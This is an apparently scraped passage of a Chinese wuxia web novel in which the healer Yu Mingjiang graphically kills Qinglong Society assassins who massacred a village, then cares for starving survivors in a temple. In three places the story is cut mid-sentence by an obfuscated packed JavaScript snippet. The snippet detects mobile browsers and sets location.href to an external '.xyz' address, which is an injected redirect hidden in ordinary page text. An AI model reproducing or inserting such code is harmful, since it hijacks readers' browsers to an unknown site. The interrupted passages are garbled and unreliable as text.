在众人吃惊的目光中,尤明姜猛地冲上前,端起那个盛放着四五片腊肉的陶碗,抓起里面已经凝结了白白油脂的冷硬腊肉,胡乱塞进嘴里,塞得腮帮子鼓鼓的。 然后,她一抹嘴,将那个粗陶碗狠狠摔在地上,“咔嚓”一声,碗碎瓷飞。 “去你大爷的!”她双目赤红,将朴刀狠狠插入地面,握着虎撑转身就往庙外走。 “你要去哪儿?” 路小佳捂着肩膀,皱眉问道。 “找人。”尤明姜简短回应。 村民们听闻,纷纷劝阻:“会死的,他们人多,现在去就是送死……” 海红珠更是抱住她的腰,哭着不让她去。 尤明姜统统没有理会。 她不是去找死,而是去找那些罪该万死的人。 “干嘛,搞得好像我一去不回似的。”她嘴角扯出一抹笑容,把人挨个拨到一边去。 转头看向路小佳,“天亮就回来。放心,我还得回来跟你要诊金。” 说完,她大步流星地打开庙门,踏入雨夜,身影很快消失在黑暗中,只有虎撑“哗楞哗楞”的声音在风雨中回荡。 . 景阳冈下。 手中的虎撑“哗楞哗楞”作响,在淅淅沥沥的雨声中十分清晰。 尤明姜趟着没过膝盖的泥水,一步步地走到了山下的村庄里。 村子静悄悄的。 屠杀似乎已经停止了。 雨水没能浇熄着火的房屋,浓烟滚滚,刺鼻的烧焦味弥漫在空气中。 烧焦的尸体横七竖八地躺在废墟里,混合着血水的雨水冲刷着废墟,形成一道道黑红的水流,好像苍天淌下的血泪。 尤明姜在一具老妪的无头尸体前停下。 老妪的头颅被整齐地砍下,断颈处鲜血仍在缓缓流淌,渗入冰冷的土地。 头颅并未滚落太远,却被凶手摆成双手捧头的模样,脸上惊恐的表情清晰可见,双眼圆睁,死不瞑目。 这群人下手狠辣,没有一丝怜悯之心。 尤明姜蹲下来,伸手轻轻合上老妪的双眼,将头颅摆回脖颈上,又从烧焦的废墟堆里找出散落在泥水中的衣物,给老妪蒙在脸上。 喃喃道:“安息吧,老人家。我会背负杀孽的果报,阻止更多的恶行。” . 汤野是青龙会分舵的一个杀手。 这次是各地的分舵接到了二龙首的命令,选拔了一批最好的杀手。 最好的杀手,不一定要武功多么高,但一定要心肠够狠,下得了狠手。 在这种觉悟的支持下,汤野杀过的人就像熊姥姥篮子里的栗子一样多。 这次的任务是截杀黑木崖的风雷堂副堂主东方柏。 听说这人是个响当当的人物,这些年凭借着智慧和武功在黑木崖上崭露头角。 不论是五岳剑派还是青龙会,都屡屡被他的诡计所掣肘。 二龙首要求除掉他。 前仆后继搭进去这么多人,效果却并不显著。好在和东方柏一起行动的,还有个地位更高的风雷堂长老童百熊。童百熊在经历车轮战后,伤了元气,按照血迹判断,他是藏在了这个村落里。为了不打草惊蛇,青龙会直接包围并屠杀了整个村落,然后逐个屋子进行搜捕。 为了防止他们藏在房屋夹壁或地窖中,汤野和伙伴正在分头焚烧屋子。 下雨天点燃屋子,需要些放火经验。 汤野懒洋洋地拎起斩.马.刀,任由一家七口的尸体倒在血泊中,转身在屋子里浇起了桐油。 他哼着小曲,慢悠悠地点燃房屋中的易燃物,火势不算很猛,他又把尸身上染血的衣衫扒下来助燃。 就在这时,一道“哗楞哗楞”的摇铃声响了起来。 汤野悚然一惊,双眼“嗖”地望向了声源处。 . 来人一袭染血短打,手中摇着虎撑,背着个竹编药篓,朝着汤野走来。 乌云中翻滚着闪电,雪亮刺眼的光芒恰巧遮住了来人的脸。 像是铃医,又不像是个普通的铃医。 汤野拧紧了眉头,心里莫名感到很紧张。 他以往只在遇到青龙会大人物时,才会有这种几近窒息的压迫感。 来人一步一步靠近,草鞋碾在烧焦的废墟上,发出“嘎吱嘎吱”的声响。 汤野的心提到了嗓子眼,他握紧手中那把斩.马.刀,忍不住对暗号:“青龙在北。” 那人声音清脆:“风云际会。” 原来是北方前来支援的兄弟,汤野却没有立刻放松警惕,他眯起眼睛,上下打量着来人,又问:“天青在水。” 来人离他仅有几步之遥:“飞龙在天。” 汤野依旧心存疑虑,他接着问道:“总舵大龙首是什么人?” 他目光紧紧锁住来人,试图找出破绽。 来人傲慢地说:“你算什么东西,也敢窥探大龙首的隐私?” “不敢,不敢……”汤野讪讪一笑,听到这个答案,心中的疑虑稍稍减轻了几分,正要快步上前迎接,突然,一道闪电照亮了周遭。 看清了眼前人的脸,汤野吓了一跳,慌乱中想要将斩.马.刀砍向来人。可是对方的速度更快,身形一闪轻松躲过,像鬼魅似的闪身欺近,虎撑卡住汤野的手腕,用力一扭! 只听“咔嚓”一声,手臂的骨头断裂,汤野手中的斩.马.刀跟着掉落在地。 汤野惨叫连连,但是来人没有丝毫停顿,照着汤野的肚子飞起一脚,将这个又矮又壮的男人踹飞到了照壁上。 汤野倒在地上,反应过来之后,惊恐地想要逃跑。 来人几步追上,再一次将他踹翻在地,然后,一脚踩在他的身上,手中虎撑死死抵住他的咽喉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845516|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤野几乎要窒息。 这虎撑本是救死扶伤的象征,可此刻在这人的手中却成了凶器。 . “你是……你是尤……” 被踩在脚下的汤野瞪大了双眼,死死瞪着眼前的铃医。 “你不配喊我的名字!”虎撑重重砸在他的嘴巴上,打烂了他满嘴的牙齿。 尤明姜抚摸着虎撑,嘴角微微上扬:“死在我手里,你也不枉此生了!” 说完,手中的虎撑又一次狠狠砸向了汤野的脑袋,只听“噗”的一声闷响,汤野的脑袋立刻像个熟透了的西瓜,红白之物溅得到处都是! · 雨越下越大,雨滴打在脸上生疼。 房屋还在熊熊燃烧,火势借着风雨的助威,烧得越发凶猛。 尤明姜弯下腰,将汤野尸身上的火折子、桐油、黑.火.药、霹雳弹统统搜刮走。 这些都是青龙会从霹雳堂买来的好玩意儿,倒是省了她的事儿了。 她瞥了眼汤野,低声呢喃:“别急,马上就让你们在地府团聚。” · 村西头,老村长家。 村长一家的尸体被丢进了地窖里,青龙会的四五个杀手正围在这一处歇息。 外面在烧房子,他们也在烧一锅鱼汤,鱼汤煮得“咕嘟咕嘟”冒泡儿。 大部队已经撤离了,留下他们这几个人收尾。 每一个杀手都笑得很开心。 除了烧杀屠村之外,如果能抢掠到足够珍贵的财宝,也是值得炫耀的一件大事。这不是他们第一次做这种事情,已经相当的轻车熟路了。 这一次的收获,还是比较满意的。 尤其是丁干。 丁干是青龙会七月十五分舵的老资历了,在青龙会做了十年的杀手,看宝贝的眼神很毒辣。这些个鹰爪队加入的新人,言语间对他奉承颇多,他听得心情舒畅。 就在他春风满面的时候,突然听到了一阵耳熟的摇铃声。 “哗楞哗楞——” 见到那个年轻的铃医,忽然出现在门外时,他的脸色比见了鬼还难看。 只因为他认识眼前这个人。 青龙会的叛徒。 也是从前号称“不死鸟”的青龙会第一怪物医师,崖州分舵主尤明姜。 · 迎着尤明姜冰冷的视线,丁干铁青着脸,下意识地站了起身。 喃喃自语:“她竟然还活着?” 尤明姜一步一步地走了进来,手中的虎撑还在往下滴答着血水。 不认识她的杀手们,看她的眼神都很惊奇,好像看到了锅里的鱼走到了餐桌上。 她笑眯眯地走到煮汤的大锅前,在众目睽睽之下,双手猛地掀翻了那锅鱼汤。 滚烫的汤水飞溅,烫得围坐在锅前的一众杀手们“嗷”地蹦了起来。 眨眼间,所有的杀手目露凶光,团团围住了她。 丁干眼尖地看着她手中染血的虎撑,喉咙一阵阵发干。 尤明姜淡淡一笑:“这是汤野的血。” 丁干努力咽了咽口水,声音颤抖,“您是知道的,咱也都是奉命行事……” 尤明姜摇了摇虎撑,点了点头:“我知道。只可惜……你这样想,别人可未必。” 她面无表情,眼睛冷冷地看向了几个鹰爪队的前成员。 丁干跟着她一起看过去,这些个新加入的杀手,即便加起来,武功也不如他。 心随意动,他手中一双弯刀骤然出手! 两道雪亮的刀光闪过,鹰爪队的几人还没反应过来,他们的头颅已经落地。 他下手狠辣利落,像砍瓜切菜似的,死者连一声惊呼都发不出来。 灭完了口,丁干单膝跪地,双眼惊惶地看着她,死灰色的眼睛带着哀求,“尤舵主,我已经将这些人统统灭口,求您看在我乖的份上,放我一条生路。” · 这个村庄里的村民们,一定也苦苦哀求过丁干放过他们吧? 他杀村民的时候,也是这么如出一辙的狠辣利落吗? 尤明姜嘴角泛起一丝冷笑,手中紧紧握着虎撑。 她抚摸着自己的虎撑,叹息一声:“好啊,看在你乖的份上,我放你走。” 丁干大喜过望,他听说尤明姜一向说话算话,既然让他走,就不会为难他。 他爬起身来,急匆匆地准备离开。 “且慢,我说的是……你乖,我就放你走。” 丁干停下脚步,只当是尤明姜还想从他这里套取一些情报,已经飞快打好了腹稿,他搓了搓手,涎着讨好的笑脸,转过头来:“尤舵主,您还有什么吩咐?” “噗嗤!”丁干最后一眼看到的,是迎头打下来的虎撑。 尤明姜冷嗤一声:“尤舵主?我最讨厌别人这样叫我了。” 丁干刚刚犯了她天大的忌讳,自然是不够乖的。既然不够乖,她怎么能放他走呢? 她弯下腰,将虎撑上沾染的红白之物,在死不瞑目的丁干衣襟上肆意蹭着。 紧接着,她将黑.火.药、桐油、霹雳弹,一股脑摆在一众杀手的尸体周围。 做完这一切,她退到屋外,轻轻吹燃了手中的火折子。 那火光亮起的瞬间,映照着她眼睛里的恨意。 “下地狱吧!烊铜灌口,热铁缠身,好好忏悔自己犯下的罪孽!” 她手一扬,火折子被重重扔了进去。 “轰”的一声巨响,好似天崩地裂。 爆炸的火光升腾而起,灼热的气浪掀起无数碎石,噼里啪啦地飞溅。 任由碎石擦过脸颊、气浪灼焦头发,尤明姜摇着虎撑,头也不回地向前走去。 · 12. 病友 清晨,云停雨歇,天空泛起了鱼肚白。 眼下挂了抹淡淡的青,路小佳双手拄剑,独坐在石阶上,身后是紧闭的庙门。 他答应尤明姜的事情,就一定会做到。 那轮红日仍藏在山峦的怀抱中,路小佳望着黎明前的淡金色天空,想起了家。 对路小佳来说,家不是避风港,而是个剪不断理还乱的毛线球。 他又不是猫,当然不喜欢毛线球。 每每想起家来,他被至亲戳了个血窟窿的那颗心,就疼得几乎要窒息。 没有人比他更懂得有家不能回的孤独滋味儿。 尽管如此,路小佳还是希望大家都活得好好的。 亲生父母和兄妹们、亲姑姑、养父母、嫁给易大经的养姐,还有那个取代了他的位置,不知道比他大还是小的表兄弟…… 他们一个个都还好吗? · 雨过天晴。浅金色的晨曦映在了山峦,尤明姜却没有产生久违的喜悦之情。 她拢了拢染血的衣襟,陷入了沉沉的回忆中。 她的家乡是个世外桃源般的村落,位于东海的一座仙山之上,那里终年弥漫着仙气缥缈的云雾,大家就叫它“云雾谷”。 云雾谷将村落与外界隔绝,村民没办法离开,却常有大量自称“玩家”的外来者闯入。他们嘴里总是念叨着些奇奇怪奇的词儿,像什么“全息游戏”啊,什么“高智能型NPC”之类的,还热衷于探索村民家的犄角旮旯,连人家的咸菜缸都不放过。 不少玩家都告诉过尤明姜,她只是一个全息游戏中的NPC。 可她从来没有怀疑过自己是个真实的灵魂,更没有动摇过生活的信心。 她一直都是豁达而乐观的。 然而,这个异世界,远比全息游戏中残酷了百倍。 景阳冈下的那个不知名村落,好不容易在黄河沙湾决堤后,从淤泥中疏通了一条生路,还不来及重新修葺房屋,一转眼,又被青龙会的杀手无情地收割了性命。 他们的性命难道就不值一提么? 除了没有全息游戏中的复活技能,这些人和她云雾谷的村民又有什么区别? · 想到这儿,尤明姜点开了自己的六维数值属性面板: *姓名:尤明姜 *村落:东海—云雾谷 *等级:LV.■■ *性别:女 *职业:铃医 *个人标签:【公羊学派】【半瓶醋】【施药济贫】 *人物介绍:【游走于云雾谷的闾里巷陌间,手摇虎撑,肩上斜挎着一只竹编药篓,药篓中装满了瓶瓶罐罐的药膏和药粉,主治寻常杂症和轻微外伤,但她还是太全面了,急重症内伤之类的,硬治也能治。】 *整体外观: 【脸:容光焕发】【身高:172cm】 【体重:61kg】【体脂率:19%】 *六维基础属性: 【体质:A+】【力量:A-】 【敏捷:A-】【智力:B+】 【幸运:C+】【魅力:S-】 面板上,两行鲜红标粗的温馨提示,格外的醒目: 【该区域未开放,即时网络已断开,角色无法升级,面板数值固定不变。】 【NPC死亡168小时后,将在标记锚点附近刷新。】 . 尤明姜心里空空落落的。 即便一开始空降成没户帖的流民,只能游荡在乡野间,她也没这样孤独过。 这是她穿越到这个异世界之后,第一次产生这般强烈的孤独情绪。 真的好孤独。 她实在太需要一个和她同病相怜的人,一起说说话了。 松枝上垂挂着的一滴雨珠,骤然间,落在尤明姜的眼皮上。 她揉了揉眼睛,脸颊淌落下来一道湿润润的水痕,分不清是泪水,还是雨水。 那个平静温暖的云雾谷,遥远得就像是云端上的月亮。 她知道自己再也回不去了。 · 路小佳坐在石阶上,愣愣地望着天空出神。 坑坑洼洼的石阶上蓄了雨水,裤子很快被浸透了,湿漉漉的,呱嗒呱嗒的,紧紧地黏在他的大腿上,但他不想挪个地方,只想静静地坐在这里等。 当然,他只是想等那一轮红日东升,绝对不是想等什么人回来。 一想到尤明姜,路小佳的嘴角笑意渐浓。 扪心自问,他已经很久没有这么放松过了。 哪怕是头骡子,除了拉磨,也得修下蹄子,再来上一份鲜嫩苜蓿草什么的。 许多江湖中人的放松方式,就是在酒色上花一笔大钱。 路小佳自己心里明白,酒色是一种沉重的内耗,只会让他这个灵魂本就千疮百孔的人,堕入一个刀劈油煎般的深渊。那种俗艳、冰冷、陈腐的气味儿,像一匣子死气沉沉的灰蛾子尸体,总是容易让他一阵阵的肠胃痉挛。 他一直以为,在这个波诡云谲的江湖中,自己的血早就凉透了。 直到那一天,他在开封城中看见她像发了疯似的抢救那个卖蜂蜡的小姑娘,他竟然觉得平静又快乐,连同自己那一颗疼到麻木的血窟窿心,也传来了愈合的错觉,心里痒痒的,那是血肉在重新生长。 尤明姜的善良与热血,与这个冷漠的江湖成了极鲜明的对比。 后来他又被薛果的女人纠缠,他恶心到想要发疯,想要一剑杀了那个不知羞耻的女人,那颗心上的血窟窿又开始汩汩流血,哪怕泡在清凉的河水中,也无法麻痹他的这种痛楚,更无法浇灭他满腔的愤怒。 直到遇见了赶着骡车经过的尤明姜,①她就像一头大水牛,鲜活、温柔、健壮,浑身散发着清新的紫草香气,头上还顶着个锃光瓦亮的角,角上还散发着一道救赎的光晕,将他一下子拖出了泥潭。 他不是不知道,尤明姜手上也沾染了不少鲜血,但那些都是恶人的鲜血。 人无完人。 她一个救赎者,纵然有些瑕疵,但能拯救一众受害者,这又算得了什么呢? 路小佳不确定这是不是一见钟情,但他的行动是忠诚于思想的。 他就像一只飞蛾,义无反顾地扑向了这道救赎的光。 · 太阳渐渐升了起来。 路小佳渐渐开始有些不安。 就在他想要强撑着站起身来,下山去迎一迎尤明姜的时候,突然听到了一阵“吧嗒吧嗒”的脚步声,由远及近。 路小佳心中一喜,抬头想说一句“你回来了”,但是看到尤明姜的那一刻,他的笑容就僵在了脸上。 尤明姜狼狈得要命。 浑身乌漆麻黑的,还有不少碎石子溅伤的血痕,那身寒碜的粗麻短打,被火燎了好些个大小不一的焦黑窟窿,就连垂落在她颈侧的那一绺蜷曲的头发,也被大火给烧焦了。 路小佳心头酸酸的,张了张口,又不知道该说些什么。 山神庙外仿佛失去了所有的声音,两人之间弥漫着一股微妙的寂静。 手中握着的虎撑滴答着鲜血,尤明姜慢慢地走着,越走越慢。 瞥了一眼路小佳,她低着头,也走上石阶,一屁股坐了下来。 两个人并排坐着,雨水从屋檐上滴落在两个人的头顶上。 寂静的时间长得足够滴水穿石,但是谁也没有打破这一份寂静。 路小佳很想问问她,一切都还顺利吗?有没有伤得很严重? 可他看得出尤明姜心情很差,无论任务成功与否,她需要的就是一份安静。 最终,他沉吟了半晌,也只是将无鞘剑收回了腰间。 · 尤明姜觉得很疲惫。 她能从路小佳的身上,感受到一种同病相怜的、有家不能回的孤独。 但是她现在没有心情和一个杀手对话。 · 两个人静静地坐着。 也不知过了多久,尤明姜忽然笑了笑:“你居然还没有走。” 她被浓烟呛了嗓子,嗓音听起来很沙哑。 路小佳轻轻说道:“说好了等你回来,我还没有付诊金。” “青龙会派来的那些杀手,全都被我炸死了……路小佳,同为杀手,你是不会有一种兔死狐悲的感觉?”尤明姜声线颤抖,隐隐有一点儿控制不住自己的仇恨。 “我只关心自己,”路小佳顿了顿,定定地看向了她,“还有自己在乎的人。” 尤明姜摊开掌心,接住了屋檐上坠落的一滴雨水,慢慢说:“我一直觉得,你是个莫名其妙的杀手。” 在青龙会,像路小佳这样的杀手,不仅会失去组织的信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明明刚刚还在想,等他完成了自己的宿命,就加入这个温暖的大家庭,跟尤明姜她们凑在一起。纵然不是男女之情,也足以让他心向往之。 事情怎么会演变成这样…… · 路小佳一步一步往外走,他浑身都痛得要命,头痛,心痛,肩膀痛,他痛得双手撑膝,痛得眼泪落了下来。 以至于他走了好久,还没走出山神庙的范围。 突然,身后又响起了一阵“吧嗒吧嗒”的急促脚步声。不等他搞清楚情况,紧接着,一双手从身后抱住了他。 路小佳浑身一震。 “对不起,对不起……”尤明姜哽咽着说。 她之所以不管不顾地冲上来,一把抱着路小佳,并不是抱着什么春心萌动的绮思。 而是出于同病相怜的痛楚。 她的脸贴在路小佳的后背上,滚烫的眼泪洇湿了他的衣衫,一滴又一滴,路小佳只觉得后心滚烫,烫得他心头酸酸的,鼻头酸酸的。 他转过身来,抱住了她,抱得紧紧的。 过了好一会儿,路小佳低下头,抬手去擦她脸上的眼泪。 尤明姜一把抓住他的手,紧紧地握在手心里。她歪着头,将脸贴在他的手掌里,眼泪浸湿了他的手指。 四目相对,倒映着小小的彼此。 “咳咳……”路小佳不由轻咳了两声。 他脸色微红,眼神有些飘忽。 尤明姜如梦初醒,意识到自己还握着路小佳的手,触电似的,松开了他的手。 . 就在这时,山神庙里传来了门闩抬起的声音,随后“吱呀”一声,庙门打开了一扇。 “尤姐姐,你回来啦!” 看见浑身浴血的尤明姜,海红珠愣了一下,一下子冲过去,哭着抱住了她。 尤明姜心里头酸酸的。 当时,她因青龙会屠村之事,被愤怒冲昏头脑,抛下庙中的老弱病残,任他们在漫漫雨夜中忍受恐惧。 海红珠和其他孩子们一定很害怕吧? 想到这里,她轻抚着海红珠的脊背,一下又一下地安抚着: “红珠,不哭,姐姐回来了。” 13. 饥馑 进入山神庙前,海红珠告知尤明姜,铁萍姑已经醒了,状态还不错。 尤明姜赶忙跑到附近的水渠边,匆匆洗了把脸。洗完后她才意识到问题:没了脸上黑灰的遮挡,擦伤的血痕格外明显。 她不想让铁萍姑担心,涂好药后,戴上了面巾。 随后,她蒙着脸,与海红珠、路小佳一同走进庙中。众人见尤明姜平安归来,又听闻她已将土匪全部解决,激动得热泪盈眶。 尤明姜放下竹编药篓,取出最后一块豆腐,递给海四爹:“大叔,煮一锅豆腐汤。” 海四爹立刻张罗着熬豆腐汤。 孟星魂、石群、小何这三个孩子,虽然个头不大,却都积极帮忙:有的洗锅,有的拾柴,还有的切豆腐。 . 路小佳一声不吭,只是跟着尤明姜和海红珠,朝北墙根儿走去。 山神庙空间狭小,村民们挤在一起,气味着实不太好闻。 尤明姜之前将这里单独隔开,还挂了块粗糙的麻布用来遮光。 铁萍姑半躺在苇席上,头靠着墙,静静地打量着蒙脸的尤明姜。 尤明姜在苇席旁跪坐下来,膝盖抵在席面上,双脚垫在屁股下。 这个姿势既能保持苇席干净,又能遮住被泥浆沤烂的草鞋。 她徒步上下山,趟过没过膝盖的泥水;更何况景阳冈道路崎岖,草鞋早已磨得破破烂烂,泥水不断从鞋缝灌进去,每走一步,又从鞋后跟挤出来,脚底磨出了不少血泡。 铁萍姑十分敏感,眼神不自觉地往尤明姜身后瞟去,却被尤明姜伸手勾住下巴,阻止她查看。 铁萍姑的目光落在尤明姜的蒙脸布上,许久都没有说话。她似乎看穿了什么,却并未戳破,只是眼泪扑簌簌地掉落下来。 尤明姜轻轻为她擦去眼泪,柔声说道:“你刚醒,哭多了伤身体。” “尤大夫……不,尤姐姐,你受累了。”铁萍姑咳嗽了两声,缓了一会儿,勉强挤出一丝笑容,“这段时间,给你添了不少麻烦。” “我受什么累?”尤明姜看了眼海红珠,又对着铁萍姑微笑道:“这你可谢错人了,你昏睡的时候,都是红珠在给你喂药、擦拭身体呢。” 听到这话,铁萍姑将目光转向海红珠。 看着铁萍姑虚弱苍白的脸色,嘴唇毫无血色,海红珠拿出一直舍不得用的苹果红胭脂扣,用手指蘸了点鲜艳的膏脂,轻轻为铁萍姑涂抹在嘴唇上,让她看起来多了几分健康气色,说道:“大家都盼着你醒呢。看到你醒来,心里别提多高兴了。” 这时,绑着绿头繻的高寄萍走了过来,身后跟着一个五六岁、走路一瘸一拐的小男孩,“铁姑娘,还没谢谢你的绿头繻呢。等你好了,我给你做好多漂亮头花。” “谢谢……”铁萍姑虚弱地笑了笑,沉默片刻后,眼泪又像断了线的珠子般掉落,“我现在……心里特别愧疚……” “……愧疚?”尤明姜一脸疑惑。 “虽然我昏迷着,但我能感觉到大家为我用了好多药材和食物,什么好东西都先紧着我,就像在满足弥留之人的最后心愿。可我现在竟然活了下来,我都觉得自己像是在装死骗大家的善意,我对不起你们……” 尤明姜皱了皱眉,“别胡说。大家这么做,是因为都盼着你好。” 铁萍姑感激地看着尤明姜,又抹了把眼泪,轻声说:“我真的……不知道该怎么谢大家……” 尤明姜轻叹:“别胡思乱想,你能醒过来,就是最好的事。” . 就在这时,跟在高寄萍身后的小男孩,也就是之前患了甲疽的叶翔,扑到苇席上。他伸出小手,笨拙地擦拭铁萍姑眼角的泪水,稚嫩的脸上写满了坚毅:“……姐姐,不哭。等我长大了,我要当大侠,谁要是再敢欺负姐姐们,我就跟谁拼命!” 那信誓旦旦的模样,逗得铁萍姑扬起了嘴角,破涕为笑。 尤明姜笑了起来,将叶翔抱进怀里,“哎呀,未来的大侠,你也醒啦。”她摸了摸叶翔的额头,感受了下温度,“烧退了,太好了。” 说完,随手挠了挠他的胳肢窝。 叶翔被她逗得笑了起来,把脸埋进她的颈窝,双手紧紧搂住她的脖子。 路小佳双手环抱在胸前,静静地靠在墙上,看得有些入神。 何止是入神,他简直是看痴了。 正所谓:“②落地为兄弟,何必骨肉亲。③况我连枝树,与子同一身。” 此前,他总觉得这些话空洞无物。 现在,他亲眼见到了。 . 笑闹了一会儿,海四爹准备把豆腐下锅。 但尤明姜接过了这份活儿。 除了她们一行人,幸存的村民们都馋得直咽口水,眼巴巴地盯着那块豆腐。 可村民们不敢吭声,生怕惹恼尤明姜,她会把他们这群老弱病残赶出去。 尤明姜没有说话,目光在庙内扫视一圈,大致了解了众人的情况,然后默默走到锅前,从竹编药篓里取出满满一碗小米——这已经是篓子里最后的小米了。 她在擦过荤油的锅里,小火翻炒小米,直到小米变得金黄,随后倒入大量的水,熬煮出一大锅稀薄的小米汤。 她盛出好几碗小米汤,分给那些断胳膊断腿的村民,并让周围的人帮忙喂他们喝下。这些人伤势严重,昨晚发过烧后,大多时候都处于昏迷状态,对食物的渴望没那么强烈,其中还有两三个在半夜差点就没了性命。 尤明姜只能尽力而为,救一个是一个。 她慢慢搅动着锅里的小米汤,把柴草拨得更旺些,接着将切好的小块豆腐倒进去,“咕嘟咕嘟”炖煮了许久,撒上盐,熬成了一大锅小米豆腐汤。她先给孩子们分了汤,然后依次给那些意识清醒的村民舀汤。 “谢谢尤大夫!” 虽然每个人分到的并不多,但这足以让他们在饥饿中感受到一丝温暖。 路小佳又坐到了房梁上,握着无鞘剑,看着尤明姜细致入微地照顾着这三十多个老弱病残,心想:这个傻瓜,难道没听过“升米恩斗米仇”这句话吗?总有一天她会因此吃亏的。 可当目光落在她那还没来得及换的破烂草鞋上时,路小佳忍不住伸手捂住胸口。 傻瓜。 他的心脏像是被什么狠狠揪住,疼得厉害。 . 接下来的几天,尤明姜忙得焦头烂额。 此时,外面的雨已经停了,洪水渐渐退去,天气又恢复了盛夏的炎热。 身体稍有恢复的村民们,开始想办法寻找食物。 草根和树皮也成了他们考虑的对象。在景阳冈上,这些东西随处可得。但尤明姜否决了这个想法,有些草根和树皮是有毒的。 说来也怪,圣母系统已经很久没有颁发过奖励了。她竹编药篓里的食物有限,朝廷的救济又迟迟未到,这么多人,根本不够吃。尽管她竭尽全力救助每一位村民,可系统就像凭空消失了一样,始终没有给出任何奖励。 尤明姜为此不习惯了两三天,之后便又开始依靠自己想办法。 有一天,几个村民兴高采烈地回来,说从富户的废墟里捡到一个鏊子,还捞回几袋粮食,这下不愁没吃的了。 可打开袋子,一股酸臭的霉味扑面而来,伸手一抓,粮食湿漉漉、黏糊糊的。原来这些粮食被洪水浸泡后,早已发霉,无法食用。 不过,那个鏊子倒是能派上用场。 鏊子是用来摊煎饼的。 尤明姜顾不上琢磨圣母系统到底怎么回事,开始从竹编药篓里拿出茯苓、山药、芡实、葛根、薏苡仁等药材,将它们磨成细粉。这些药材富含淀粉,饱腹感强,不仅能充饥,还能健脾止泻。 几个孩子帮忙把药材清洗干净、切成小块,海四爹则赶着骡子推磨,不断添水,把药材磨成浓浆。 之后,尤明姜往浓浆里兑上齁甜的葡萄糖注射剂,掩盖中药材的味道。她把浓浆倒在烧热的鏊子中央,轻轻转动,烙出一张张厚薄不均的煎饼。虽然口感不太好,但庙里的老弱病残们靠着每天轮流摊煎饼,一天天撑了下来。 . 尽管没有一个人拖后腿,竹编药篓里的“存粮”还是在一天天减少。 尤明姜每天都会外出转转,试图捕猎。 但洪水过后,猎物也变少了。 这几天日头毒辣,尽管她每天都涂抹紫云膏,额头还是被晒得爆皮,手掌也开始起水泡,隐隐作痛。 看着尤明姜日渐消瘦,路小佳终于坐不住了。 . 夜深人静。 海四爹早已在干草堆上沉沉睡去,四仰八叉地躺着,鼾声不时响起。 其他人也都蜷缩在各自的角落里,默默忍受着半饥不饱的煎熬。 尤明姜坐在神案旁,借着一盏昏黄的清油灯,仔细擦拭着手中的虎撑。 路小佳从房梁上轻轻跃下,双手抱胸,走到她对面。 他盯着尤明姜看了好一会儿,突然开口问道:“你打算什么时候走?” “走?”尤明姜微微一怔,随后低下头,继续擦拭虎撑,“你吃腻煎饼了?” “对。”路小佳抿了抿唇,“什么时候离开这儿?” 庙里还没睡的人都撑起身子,一双双眼睛紧张地看向尤明姜,竖起耳朵等着她的回答。 这几天要不是尤大夫全力救助,就凭他们这群缺胳膊少腿的老弱病残,即便侥幸逃过土匪的追杀、野兽的袭击,恐怕也抵御不了这一次饥荒。 尤明姜看穿了路小佳的心思,眨了眨眼睛,说道:“洪水刚退,外面的路都被冲毁了,而且朝廷的救济还没到,我可能得再多留几天……” 路小佳深吸一口气,冷冷地说: “……要是朝廷一直不来救济呢?” 路小佳说:“时间一长,他们不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845518|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单把你给的吃食、帮衬当作理所当然,还会愈发贪婪。 “等哪天,你哪怕只是少拿出一张煎饼,在他们眼里,你就成了罪大恶极之人。等你连一张煎饼都拿不出来,他们恐怕瞬间就会撕下伪善面具,露出獠牙,把你当作仇人一般,恨不得生吞活剥了你!” . 这话一出,整个山神庙瞬间安静下来,鸦雀无声。 高寄萍脸色苍白。 这件事恐怕不止路小佳想过,每个人心里或许都闪过一丝念头。 可是…… 人心可都是肉长的。 尤大夫是真正的大好人。 也只有尤大夫还把他们当人看。 因此,所有人努力保持着内心的纯净,摒弃杂念,谁都不忍心破坏这份美好。 大伙儿都是粗人,虽然大字不识一箩筐,但“①得人恩果千年记,得人花戴万人香”的道理,他们可一点儿不含糊。 沉默了一会儿,村里的私塾先生率先开了口,“尤大夫的好,那是实打实的,俺这把老骨头没啥大用处,可要是能帮上尤大夫,俺赴汤蹈火,在所不辞!” 妇孺们声音带着哭腔,一个个双眼通红地说:“尤大夫,无论最后结果怎么样,俺们都感念你的救命之恩,平日里磨粉儿、摊煎饼、洗洗涮涮的活儿,俺们都能干!” “俺们不是那样丧良心的玩意儿,要是说一句假话,叫俺们被雷劈死!” “对!俺们要是丧良心,当了白眼儿狼,就叫俺们被雷劈死!” 山神庙里的众人你一言我一语,纷纷表态。 海四爹和孩子们从干草堆上爬起来,挠了挠头,不知道发生了什么事,但也附和: “咱、咱都听尤大夫的话,尤大夫说什么,咱就做什么!” · 路小佳:“……” 好好好,就他一个是坏人! 路小佳深吸一口气,板着脸,没有说话。 尤明姜笑了笑,缓缓站起身,见他黑着脸,轻轻走上前。 